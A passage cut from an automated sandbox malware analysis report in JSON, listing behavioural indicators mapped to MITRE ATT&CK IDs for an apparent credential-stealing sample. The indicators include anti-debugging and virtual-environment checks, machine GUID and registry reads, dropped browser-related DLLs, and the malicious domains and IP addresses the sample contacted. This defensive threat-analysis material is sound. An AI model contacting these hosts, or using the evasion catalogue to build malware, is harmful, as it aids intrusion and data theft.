Parser","mitre_attack_id":"T1001","relevance":1,"id":"static-115","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (API string)","description":"Observed api string:\"UnhandledExceptionFilter\" [Source: 00000000-00005688.00000002.86308.00401000.00000020.mdmp]\n Observed api string:\"SetUnhandledExceptionFilter\" [Source: 00000000-00005688.00000002.86308.00401000.00000020.mdmp]","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-148","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)","description":"$25","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1622","relevance":1,"id":"stream-4","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"PE file contains zero-size sections","description":"Raw size of \".themida\" is zero\n Raw size of \".bss\" is zero\n Raw size of \"BSS\" is zero\n Raw size of \".tls\" is zero\n Raw size of \".reloc\" is zero\n Raw size of \".text\" is zero\n Raw size of \".rdata\" is zero\n Raw size of \".data\" is zero\n Raw size of \".pdata\" is zero\n Raw size of \"_RDATA\" is zero\n Raw size of \".vmp0\" is zero","origin":"Static Parser","relevance":10,"id":"static-5","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to decode base64 data (API string)","description":"Observed api string:\"FromBase64String\" [Source: 00000000-00007216.00000000.91305.00692000.00000002.mdmp]","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-106","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to decode string content at runtime","description":"Observed function tostring in h_26wPXBLIlKW3_tlCXuCIgV.exe\n Observed function replace in h_26wPXBLIlKW3_tlCXuCIgV.exe\n Observed function frombase64string in h_26wPXBLIlKW3_tlCXuCIgV.exe\n Observed function concat in h_26wPXBLIlKW3_tlCXuCIgV.exe\n Observed function tobase64string in h_26wPXBLIlKW3_tlCXuCIgV.exe\n Observed function split in h_26wPXBLIlKW3_tlCXuCIgV.exe","origin":"Static Parser","mitre_attack_id":"T1140","relevance":1,"id":"static-106","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform encryption (API string)","description":"Observed api string:\"CryptProtectMemory failed which can performs encryption on the memory\"[Source: 65099-415-003F58AA]\n Observed api string:\"CryptUnprotectMemory failed which can performs decrytion on the memory\"[Source: 65099-415-003F58AA]","origin":"File/Memory","mitre_attack_id":"T1471","relevance":1,"id":"string-108","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"Cryptographic Related","name":"Imports Crypto related APIs","description":"Observed import api \"CryptUnprotectData\" which can \"perform decryption and does an integrity check of the data\" [Source: 321.EXE.63A6FA31.bin]","origin":"Static Parser","mitre_attack_id":"T1471","relevance":1,"id":"static-82","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API possibly used to retrieve a handle to the foreground window","description":"\"Install.exe\" called \"GetForegroundWindow\" (UID: 00000000-00007648)\n \"InstallUtil.exe\" called \"GetForegroundWindow\" (UID: 00000000-00007824)\n \"TqCmbPDunlWW8L0MzoqQOE05.exe\" called \"GetForegroundWindow\" (UID: 00000000-00005908)\n \"A02FZXMsOhT8vUffJfmsE6xk.exe\" called \"GetForegroundWindow\" (UID: 00000000-00006996)\n \"i5NUMaNH2togQeBv7Jyo6PpD.exe\" called \"GetForegroundWindow\" (UID: 00000000-00006608)\n \"qiQP6tdXBnQkeYGNMzFcxIa2.exe\" called \"GetForegroundWindow\" (UID: 00000000-00002332)\n \"control.exe\" called \"GetForegroundWindow\" (UID: 00000000-00002676)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-142","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"Install.exe\" called \"RtlGetNtProductType\" with parameter (UID: 00000000-00007648)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"\"Install.exe\" called \"RtlGetVersion\" with parameter (UID: 00000000-00007648)\n \"Install.exe\" called \"RtlGetVersion\" with parameter (UID: 00000000-00007648)\n \"Install.exe\" called \"RtlGetVersion\" with parameter (UID: 00000000-00007648)\n \"InstallUtil.exe\" called \"RtlGetVersion\" with parameter (UID: 00000000-00007824)\n \"InstallUtil.exe\" called \"RtlGetVersion\" with parameter (UID: 00000000-00007824)\n \"InstallUtil.exe\" called \"RtlGetVersion\" with parameter (UID: 00000000-00007824)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to open an existing named mutex object","description":"\"is-OJFQK.tmp\" called \"OpenMutexA\" with parameter \"0A539F65D854495A29F2C626\" - (UID: 00000000-00003456)\n \"AppLaunch.exe\" called \"OpenMutexW\" (UID: 00000000-00005608)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-144","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to detect virtual environment (API)","description":"GetTickCount@KERNEL32.DLL at 00000000-00005688-29968-182-004079EB\n GetTickCount@KERNEL32.DLL at 00000000-00005688-29968-60-00402B30\n GetTickCount@KERNEL32.DLL at 00000000-00001520-39623-182-004079EB\n GetTickCount@KERNEL32.DLL at 00000000-00001520-39623-60-00402B30\n GetTickCount@KERNEL32.DLL at 00000000-00003532-49181-60-00402B30\n GetTickCount@KERNEL32.DLL at 00000000-00003532-49181-182-004079EB\n GetTickCount@KERNEL32.DLL at 00000000-00005908-65099-626-00400830\n GetTickCount@KERNEL32.DLL at 00000000-00006364-20225-182-004079EB\n GetTickCount@KERNEL32.DLL at 00000000-00006364-20225-60-00402B30\n GetTickCount@KERNEL32.DLL at 00000000-00006608-42940-1497-00D69B7A\n GetTickCount@KERNEL32.DLL at 00000000-00003456-58606-774-00455B2C","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497","relevance":3,"id":"stream-87","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to enumerate files inside a directory","description":"$26","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1083","relevance":3,"id":"stream-89","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to enumerates all mounted drives","description":"GetLogicalDrives@KERNEL32.DLL at 00000000-00005688-29968-59-00402E9C\n GetLogicalDriveStringsA@KERNEL32.DLL at 00000000-00005688-29968-60-00402B30\n GetLogicalDriveStringsW@KERNEL32.DLL at 00000000-00005688-29968-68-004028FA\n GetLogicalDrives@KERNEL32.DLL at 00000000-00001520-39623-59-00402E9C\n GetLogicalDriveStringsW@KERNEL32.DLL at 00000000-00001520-39623-68-004028FA\n GetLogicalDriveStringsA@KERNEL32.DLL at 00000000-00001520-39623-60-00402B30\n GetLogicalDrives@KERNEL32.DLL at 00000000-00003532-49181-59-00402E9C\n GetLogicalDriveStringsA@KERNEL32.DLL at 00000000-00003532-49181-60-00402B30\n GetLogicalDriveStringsW@KERNEL32.DLL at 00000000-00003532-49181-68-004028FA\n GetLogicalDriveStringsW@KERNEL32.DLL at 00000000-00006364-20225-68-004028FA\n GetLogicalDriveStringsA@KERNEL32.DLL at 00000000-00006364-20225-60-00402B30\n GetLogicalDrives@KERNEL32.DLL at 00000000-00006364-20225-59-00402E9C","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1083","relevance":3,"id":"stream-66","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to execute WMI queries","description":"Observed namespace system.management.managementobjectsearcher in h_26wPXBLIlKW3_tlCXuCIgV.exe","origin":"Static Parser","mitre_attack_id":"T1047","relevance":1,"id":"static-114","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query local/system time","description":"$27","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1124","relevance":1,"id":"stream-71","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query machine time","description":"$28","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1124","relevance":1,"id":"stream-2","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the machine version","description":"GetVersionExA@KERNEL32.DLL at 00000000-00006788-21856-100-00405CB0\n GetVersionExW@KERNEL32.DLL at 00000000-00005908-65099-423-003F2C72\n GetVersionExW@KERNEL32.DLL at 00000000-00006608-42940-364-00D5A930\n GetVersionExA@KERNEL32.DLL at 00000000-00003456-58606-815-0044B3FC\n GetVersionExA@KERNEL32.DLL at 00000000-00003456-58606-816-0044F4B8\n GetVersionExA@KERNEL32.DLL at 00000000-00003456-58606-862-00409294\n GetVersion@KERNEL32.DLL at 00000000-00003456-58606-2377-0041190C\n GetVersionExA@KERNEL32.DLL at 00000000-00003456-58606-801-0047805C\n GetVersion@KERNEL32.DLL at 00000000-00003456-58606-829-00419258\n GetVersion@KERNEL32.DLL at 00000000-00003456-58606-732-0042DFF0\n GetVersion@KERNEL32.DLL at 00000000-00003456-58606-835-0041F330\n GetVersion@KERNEL32.DLL at 00000000-00003456-58606-1032-004593E4","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":1,"id":"stream-3","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the system locale","description":"$29","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":1,"id":"stream-49","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query volume size","description":"GetDiskFreeSpaceA@KERNEL32.DLL at 00000000-00005688-29968-60-00402B30\n GetDiskFreeSpaceA@KERNEL32.DLL at 00000000-00001520-39623-60-00402B30\n GetDiskFreeSpaceA@KERNEL32.DLL at 00000000-00003532-49181-60-00402B30\n GetDiskFreeSpaceA@KERNEL32.DLL at 00000000-00006364-20225-60-00402B30","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1083","relevance":3,"id":"stream-37","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"$2a","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retreive system language (API string)","description":"Observed api:\"GetUserDefaultUILanguage\"[Source: 21856-273-00406DE4]\n Observed api:\"GetUserDefaultLangID\"[Source: 00000000-00006788.00000002.85861.0040A000.00000004.mdmp]\n Observed api:\"GetKeyboardLayoutList\"[Source: 00000000-00004036.00000000.84324.00470000.00000002.mdmp]\n Observed api:\"GetKeyboardType\"[Source: 00000000-00004036.00000000.84324.00470000.00000002.mdmp]","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve open application windows (API string)","description":"Observed api:\"GetWindowText\"[Source: 00000000-00006608.00000000.87771.00D80000.00000002.mdmp]\n Observed api:\"GetForegroundWindow\"[Source: 00000000-00004036.00000000.84324.00470000.00000002.mdmp]\n Observed api:\"GetWindowText\"[Source: 00000000-00004036.00000000.84324.00470000.00000002.mdmp]","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-141","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)","description":"Observed API string:\"GetStartupInfo\" [Source: 00000000-00005688.00000002.86308.00401000.00000020.mdmp]","origin":"File/Memory","mitre_attack_id":"T1543","relevance":1,"id":"string-167","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"Environment Awareness","name":"Makes a code branch decision directly after an API that is environment aware","description":"Found API call GetVersion@KERNEL32.DLL directly followed by \"cmp ax, 0004h\" and \"jc 00411A6Ch\" at 00000000-00003456-58606-2377-0041190C\n Found API call GetVersion@KERNEL32.DLL directly followed by \"cmp ax, 0004h\" and \"setnb byte ptr [0048D5C4h]\" at 00000000-00003456-58606-829-00419258\n Found API call GetVersion@KERNEL32.DLL directly followed by \"cmp ax, 0005h\" and \"jc 0042E06Dh\" at 00000000-00003456-58606-732-0042DFF0\n Found API call GetVersion@KERNEL32.DLL directly followed by \"cmp bl, 04h\" and \"jnc 0041F379h\" at 00000000-00003456-58606-835-0041F330\n Found API call GetVersion@KERNEL32.DLL directly followed by \"cmp ax, 0005h\" and \"jc 00459609h\" at 00000000-00003456-58606-1032-004593E4","origin":"Hybrid Analysis Technology","relevance":10,"id":"stream-39","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"Environment Awareness","name":"Possibly tries to detect the presence of a debugger","description":"GetProcessHeap@KERNEL32.DLL at 00000000-00006608-42940-2038-00D78A9B\n GetProcessHeap@KERNEL32.DLL at 00000000-00004036-4470-2-0042A080\n GetProcessHeap@KERNEL32.DLL at 00000000-00001104-10073-1551-010F268A","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-31","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"\"h_26wPXBLIlKW3_tlCXuCIgV.exe\" queries volume information of \"%USERPROFILE%\\Pictures\\Minor Policy\\h_26wPXBLIlKW3_tlCXuCIgV.exe\" at 00000000-00007216-00000049-40856636\n \"qiQP6tdXBnQkeYGNMzFcxIa2.exe\" queries volume information of \"%WINDIR%\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.CSharp\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\Microsoft.CSharp.dll\" at 00000000-00002332-00000049-36786170\n \"qiQP6tdXBnQkeYGNMzFcxIa2.exe\" queries volume information of \"%WINDIR%\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Dynamic\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\System.Dynamic.dll\" at 00000000-00002332-00000049-47143114\n \"SxLq4VT9l0e3RpdDKb2p2T_O.exe\" queries volume information of \"%USERPROFILE%\\Pictures\\Minor Policy\\SxLq4VT9l0e3RpdDKb2p2T_O.exe\" at 00000000-00007356-00000049-16727416","origin":"API Call","mitre_attack_id":"T1120","relevance":2,"id":"api-11","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"$2b","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"Install.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"InstallUtil.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"A02FZXMsOhT8vUffJfmsE6xk.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"h_26wPXBLIlKW3_tlCXuCIgV.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"qiQP6tdXBnQkeYGNMzFcxIa2.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"$2c","origin":"Registry Access","mitre_attack_id":"T1518","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"General","name":"Accesses Software Policy Settings","description":"$2d","origin":"Registry Access","mitre_attack_id":"T1012","relevance":10,"id":"registry-18","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$2e","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"General","name":"An application crash occurred","description":"Report process \"WerFault.exe\" was created by \"WNst4DDcz7SNmvPN7EHhdVA3.exe\"","origin":"Monitored Target","id":"target-2","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"General","name":"Calls an API typically used to copy file from one location to another","description":"\"A02FZXMsOhT8vUffJfmsE6xk.exe\" called \"CopyFileA\" with parameter %PROGRAMFILES%\\(x86)\\PowerControl\\PowerControl_Svc.exe (UID: 00000000-00006996)\n \"AppLaunch.exe\" called \"CopyFileW\" (UID: 00000000-00005608)","origin":"API Call","mitre_attack_id":"T1005","relevance":3,"id":"api-123","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"$2f","origin":"API Call","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"$30","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"metazone1.com\"\n \"meta-zone-1.ru\"\n \"meta-zone-1.online\"\n \"hugersi.com\"\n \"privacy-tools-for-you-453.com\"\n \"aaa.apiaaaeg.com\"\n \"megalobster.ru\"","origin":"Network Traffic","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"31.31.196.244:80\"\n \"208.67.104.60:80\"\n \"34.117.59.81:443\"\n \"163.123.143.4:80\"\n \"87.240.132.72:80\"\n \"87.240.132.72:443\"\n \"95.214.24.96:80\"\n \"45.84.0.83:80\"\n \"194.110.203.101:80\"\n \"104.21.6.159:80\"\n \"104.21.33.100:80\"\n \"91.213.50.96:80\"\n \"104.21.6.159:443\"\n \"91.215.85.147:80\"\n \"104.21.33.100:443\"\n \"185.246.221.154:80\"\n \"95.142.206.2:443\"\n \"87.240.137.140:443\"\n \"148.251.234.93:443\"\n \"148.251.234.83:443\"","origin":"Network Traffic","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"General","name":"Contains PDB pathways","description":"\"C:\\miwinazib\\xetuhotif73 soyema\\35\\sekune77\\nabufuf.pdb\"\n \"C:\\tekaheb yezijotipid2\\zazafem\\kukoyaheval\\vehamifusewo\\bodudenug.pdb\"\n \"C:\\duwege texusanuvahopo\\baberazes\\lofujawerejuz.pdb\"\n \"D:\\Projects\\WinRAR\\sfx\\build\\sfxzip32\\Release\\sfxzip.pdb\"\n \"C:\\diwihaso24-wapahemicesin\\jekifuhe\\xaboxex 35\\jugoniw\\hamu.pdb\"\n \"D:\\Projects\\WinRAR\\sfx\\build\\sfxrar32\\Release\\sfxrar.pdb\"","origin":"File/Memory","relevance":1,"id":"string-7","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"General","name":"Contains SQL queries","description":"\"UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');\"\n \"INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);\"","origin":"File/Memory","mitre_attack_id":"T1213","relevance":2,"id":"string-16","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"General","name":"Contains ability to create named pipes for inter-process communication (IPC)","description":"CreateNamedPipeA@KERNEL32.DLL at 00000000-00003456-58606-774-00455B2C","origin":"Hybrid Analysis Technology","relevance":10,"id":"stream-45","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"General","name":"Contains ability to delay the execution of current thread","description":"$31","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497","relevance":3,"id":"stream-103","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically determine API calls","description":"$32","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-79","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically load libraries","description":"$33","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1106","relevance":3,"id":"stream-108","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"General","name":"Contains ability to execute application","description":"Observed function set_useshellexecute in h_26wPXBLIlKW3_tlCXuCIgV.exe","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-108","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"General","name":"Contains ability to load the module","description":"LoadModule@KERNEL32.DLL at 00000000-00005688-29968-60-00402B30\n LoadModule@KERNEL32.DLL at 00000000-00001520-39623-60-00402B30\n LoadModule@KERNEL32.DLL at 00000000-00003532-49181-60-00402B30\n LoadModule@KERNEL32.DLL at 00000000-00006364-20225-60-00402B30","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1106","relevance":3,"id":"stream-104","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"General","name":"Contains ability to modify processes thread functionality (API string)","description":"Observed API string:\"CreateThread\" [Source: 42940-863-00D5FBBD]","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"General","name":"Contains ability to start a process","description":"Observed function process.start in h_26wPXBLIlKW3_tlCXuCIgV.exe\n Observed function process.set_startinfo in h_26wPXBLIlKW3_tlCXuCIgV.exe","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-111","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"General","name":"Contains export functions","description":"$34","origin":"Static Parser","relevance":1,"id":"static-78","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"\"Software\\WinRAR SFX\"\n \"Software\\Microsoft\\Windows\\CurrentVersion\"\n \"System\\CurrentControlSet\\Control\\Windows\"\n \"Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\\"\n \"Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\"\n \"Software\\Microsoft\\Windows\\CurrentVersion\\SharedDLLs\"","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7648:304:WilStaging_02\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7648:120:WilError_01\"\n \"Local\\SM0:7648:304:WilStaging_02\"\n \"Local\\SM0:7648:120:WilError_01\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\SessionImmersiveColorMutex\"\n \"Local\\SessionImmersiveColorMutex\"\n \"Local\\SM0:7824:64:WilError_01\"\n \"Local\\SM0:7824:168:WilStaging_02\"\n \"Local\\ZonesCacheCounterMutex\"\n \"Global\\SyncRootManager\"\n \"Local\\ZonesLockedCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7824:168:WilStaging_02\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7824:64:WilError_01\"\n \"\\Sessions\\1\\BaseNamedObjects\\Global\\SyncRootManager\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"General","name":"Drops files marked as clean","description":"Antivirus vendors marked dropped file \"softokn3.dll\" as clean (type is \"PE32 executable (DLL) (GUI) Intel 80386 for MS Windows\"), Antivirus vendors marked dropped file \"bebra.exe\" as clean (type is \"ASCII text with no line terminators\"), Antivirus vendors marked dropped file \"freebl3.dll\" as clean (type is \"PE32 executable (DLL) (GUI) Intel 80386 for MS Windows\"), Antivirus vendors marked dropped file \"msvcp140.dll\" as clean (type is \"PE32 executable (DLL) (console) Intel 80386 for MS Windows\"), Antivirus vendors marked dropped file \"nss3.dll\" as clean (type is \"PE32 executable (DLL) (GUI) Intel 80386 for MS Windows\"), Antivirus vendors marked dropped file \"sqlite3.dll\" as clean (type is \"PE32 executable (DLL) (console) Intel 80386 for MS Windows\"), Antivirus vendors marked dropped file \"_iscrypt.dll\" as clean (type is \"PE32 executable (DLL) (GUI) Intel 80386 for MS Windows\"), Antivirus vendors marked dropped file \"mozglue.dll\" as clean (type is \"PE32 executable (DLL) (GUI) Intel 80386 for MS Windows\")","origin":"Binary File","relevance":10,"id":"binary-16","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"General","name":"Found API related strings","description":"$35","origin":"File/Memory","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"General","name":"Found named pipe like strings","description":"Found string - \\\\.\\pipe\\InnoSetup64BitHelper-%.8x-%.8x-%.8x-%.8x%.8x","origin":"File/Memory","mitre_attack_id":"T1570","relevance":1,"id":"string-146","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"General","name":"GETs files from a webserver","description":"$36","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"General","name":"Loads rich edit control libraries","description":"\"TqCmbPDunlWW8L0MzoqQOE05.exe\" loaded module \"%WINDIR%\\SysWOW64\\riched20.dll\" at 6E810000\n \"i5NUMaNH2togQeBv7Jyo6PpD.exe\" loaded module \"%WINDIR%\\SysWOW64\\riched20.dll\" at 6E810000","origin":"Loaded Module","id":"module-2","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"Install.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll\" at 7E7D0000\n \"h_26wPXBLIlKW3_tlCXuCIgV.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\36eaccfde177c2e7b93b8dbdde4e012a\\mscorlib.ni.dll\" at 6C180000\n \"qiQP6tdXBnQkeYGNMzFcxIa2.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll\" at 7E7D0000\n \"SxLq4VT9l0e3RpdDKb2p2T_O.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll\" at 7E7D0000\n \"vbc.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\36eaccfde177c2e7b93b8dbdde4e012a\\mscorlib.ni.dll\" at 6C180000","origin":"Loaded Module","id":"module-3","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$37","origin":"Registry Access","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"General","name":"PE file contains data exceeding the last FAT sector 